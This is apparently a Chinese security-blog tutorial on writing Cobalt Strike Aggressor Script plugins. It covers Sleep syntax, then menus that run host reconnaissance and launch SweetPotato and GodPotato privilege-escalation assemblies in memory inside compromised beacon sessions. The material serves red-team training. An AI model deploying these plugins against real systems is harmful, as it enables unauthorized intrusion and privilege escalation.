Cobalt Strike | 插件编写
2023-5-4 17:30:29 Author: 中尔安全实验室(查看原文) 阅读量:36 收藏

01 Cobalt Strike 插件编写的背景和意义

Cobalt Strike是一种流行的渗透测试和红队工具,它可以模拟攻击者进行网络渗透测试和攻击活动,包括攻击模拟、漏洞利用、命令控制和数据窃取等。

Cobalt Strike具有高度的灵活性和可扩展性,其中一个重要的特性就是可以使用插件扩展其功能。Cobalt Strike插件可以帮助渗透测试人员和红队作战人员更好地满足不同场景下的需求,同时也可以加强对网络安全的认知和理解。

因此,对于安全研究人员和渗透测试人员来说,学习如何编写Cobalt Strike插件具有重要的意义。通过编写自己的插件,可以更好地了解Cobalt Strike的内部工作原理和细节,并且可以根据特定需求为自己的工作定制化一些特定的功能,提高工作效率和效果。同时,编写Cobalt Strike插件也是提高自身技能水平的重要途径之一。

02 Cobalt Strike 的基本概念和插件类型

Cobalt Strike 插件分为多种类型,包括 Malleable C2 插件、External C2 插件、Aggressor Script 插件等。每种类型都有其特定的结构和用途,具体如下:

1

Malleable C2 插件:用于修改 Cobalt Strike C2 服务器的行为和特征,以避免被网络防御技术检测和拦截。Malleable C2 插件的结构类似于 YAML 配置文件,由多个模块和参数组成。

2

External C2 插件:用于将 Cobalt Strike 与其他 C2 框架集成,以扩展其功能和兼容性。External C2 插件的结构类似于 Java 类文件,需要实现指定的接口和方法。

3

Aggressor Script 插件:用于自定义 Cobalt Strike 的攻击载荷和控制台命令,以提高攻击的灵活性和效率。Aggressor Script 插件的结构类似于 Python 脚本文件,可以使用 Cobalt Strike 提供的 API 和函数库进行编程。

本文将介绍如何编写Aggressor Script 插件,并提供实例演示,帮助读者更好地了解插件编写的过程和技巧。

Aggressor Script是基于sleep语言二次开发的,所以在编写插件前需要了解一些关于sleep的基本语法。

sleep语言和其他语言的不同之处在于语句与语句之间需要空格,如以下语句。

$x=1+2;    #错误$x = 1 + 2;    #正确

定义变量使用$符号来定义,且和大多数脚本语言一样不需要定义类型,可以直接使用$来定义字符串,各类型的数字,数组,字典,函数等。以下是Sleep中的常见的几种变量

$x = "Hello World";$y = 3;$z = @(1, 2, 3, "four");$a = %(a => "apple", b => "bat", c => "awesome language", d => 4);

@和%函数即可创建数组和字典,数组和字典不仅可以引用其他数组和字典,还可以引用自己。

使用sub字符即可声明函数,传给函数的参数标记为$1,$2,一直到$n。函数可以接受无数个参数。变量@_是一个包含所有参数的数组,$1,$2等变量的更改将改变@_的内容。

sub addTwoValues {    println($1 + $2);}addTwoValues("3", 55.0);#结果为58.0

关于sleep的语法就介绍到这边,接下来有用到的语法会在编写插件时介绍,要想了解关于更多sleep语法可以查看官方文档。

http://sleep.dashnine.org/manual/

03 Aggressor Script 插件编写

接下来就开始编写Aggressor Script 插件,首先从基础的编写菜单开始。

popup test {    item("baidu", {            url_open("https://www.baidu.com");    });    separator();#分割线     menu "blog" {        item("bbb", {            url_open("https://www.baidu.com");        });     }}menubar("abcd", "test");

popup这个关键字即为Hook弹出菜单的语句,你可以理解为生成菜单的关键字,menu就是菜单的目录可以多级定义,item就是条目。以上的代码就是生成一个名为test的菜单,test菜单下有baidu这个条目,处理的事件就是使用url_open()这个内置函数来打开https://www.baidu.com。blog就是一个多级菜单,下面的bbb条目的效果也是调用url_open()函数。

当然我们拿到一个beacon主要还是在需要在beacon上进行操作,显然上面的菜单无法让我们在特定的beacon中进行操作。所以Aggressor Script内置了一个beacon_bottom让我们能够在对应的beacon中创建菜单并实现自定义功能。这里beacon你可以简单理解为弹到CobaltStrike中的会话。

popup beacon_bottom {menu "主机信息收集" {  menu "常用命令" {    item "systeminfo" {      blog($1, "\c9=========== systeminfo ==========");      bshell($1, "systeminfo");    }  }}}

上面的代码就是使用beacon_bottom让我们可以在每个beacon中创建一个“主机信息收集”的菜单,上面的菜单实现了简单的功能,执行systeminfo命令。

blog($1, "\c9=========== systeminfo ==========");#blog函数的作用就是在当前beacon中显示你想显示的东西,其中$1为当前beacon的id即你在哪个beacon中操作的就显示在哪个beacon里。bshell($1, "systeminfo");#bshell函数作用就相当于输入系统命令执行

接下看一个稍微复杂一点的案例,首先看一下我从Lodon插件中提取出来的sweetpotato的提权插件,看它是如何实现的

item "SweetPotato" {$bid = $1;$dialog = dialog("Ladon SweetPotato", %(tar => "",moudle => "SweetPotato",clrver => "35",bid => $bid), &LadonLpe);dialog_description($dialog, "Command: whoami");drow_text($dialog, "b64cmd",  "Command:");dbutton_action($dialog, "Start");dialog_show($dialog);}
sub LadonLpe {    blog2($bid,"Ladon ".$3['moudle']." ".$3['b64cmd']);    if (-exists script_resource("Ladon.exe")) {      if ($3['moudle'] eq "BadPotato"){        bexecute_assembly!($bid, script_resource("res/Ladon40.dat"),$3['moudle']." ".$3['b64cmd']);          }else{        bexecute_assembly!($bid, script_resource("res/Ladon20.dat"),$3['moudle']." ".$3['b64cmd']);}    }else {berror($bid, "Ladon.exe does not exist :(");}}

dialog顾名思义就是创建一个对话框的函数,需要3个参数,第一个参数为对话框名。第二个参数为一个字典,字典中的key和value可以自定义,并可以在当前函数或者接下来的回调函数中使用。第三个参数就是调用的回调函数。

上面的例子可以简单描述为:创建一个名为Ladon SweetPotato的对话框,调用LadonLpe函数实现功能,dialog_description为对话框的描述,drow_text为文本框,dbutton_action类似提交按钮,dialog_show将对话框显示出来。成果图如下:

之后再看LadonLpe函数的实现,blog就是输出一行语句,其中的$3代表的是之前dialog中的字典参数,可以看到b64cmd并不在其中,但是drow_text中引用了当前的dialog,所以也可以使用。顺便说一下$1为beacon id,$2为“Start”即dbutton_action的值。

之后使用if来判断Ladon.exe是否存在,-exists也是一个内置的语句,eq判断是否相等。script_resource返回相对于此脚本文件存储的资源的完整路径,bexecute_assembly函数就是在当前beacon中加载.NET类型的文件,相当于在远程主机上执行文件,但文件不落地就能执行。这个函数需要3个参数,第一个就是beacon id,第二个为要运行文件的绝对路径,第三个为运行文件所需参数。具体如下:

这样来讲其实上面的代码实现的内容就是获取我们的输入,之后再运行Ladon40.dat或者Ladon20.dat文件加上我们输入的参数。知道了代码如何实现的我们就可以修改一下上面的代码来完成另外的功能,比如最近更新的GodPotato。

item "GodPotato" {$bid = $1;$dialog = dialog("GodPotato", %(bid => $bid), &GodPotato );dialog_description($dialog, "Command: whoami");drow_text($dialog, "cmd",  "Command:");dbutton_action($dialog, "Start");dialog_show($dialog);}sub GodPotato {    blog($bid, "=========GodPotato=============");    if (-exists script_resource("GodPotato-NET35.exe")) {        bexecute_assembly($bid, script_resource("GodPotato-NET35.exe")," -cmd ".$3['cmd']);    }else {        berror($bid, "GodPotato-NET35.exe does not exist :(");    }}

实现效果如下:

04 总结

以上讲解的只是一些基础的用例,CobaltStrike的插件还可以根据内置的函数实现各式各样的功能,例如可以根据powershell的加载与执行来实现一些漏洞的利用,还可以根据文件上传下载等功能来上传利用工具并执行获取结果等,更多内置函数可以查看CobaltStrike的官方文档。希望这篇文章能够帮助读者更好地理解 CobaltStrike 插件编写,并在实际工作中得到应用。

参考链接

1.https://xz.aliyun.com/t/5887#toc-13

2.https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/3.userguide/content/topics/welcome_main.htm


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDYzNDM2NQ==&mid=2247484617&idx=1&sn=7e0378b71ff5ac23c98cd17f584ec9f5&chksm=ce67105bf910994d2143a307985865d1bad4857c7681f018f91dedc5aa89cb4e28ec41ab7acb#rd
如有侵权请联系:admin#unsafe.sh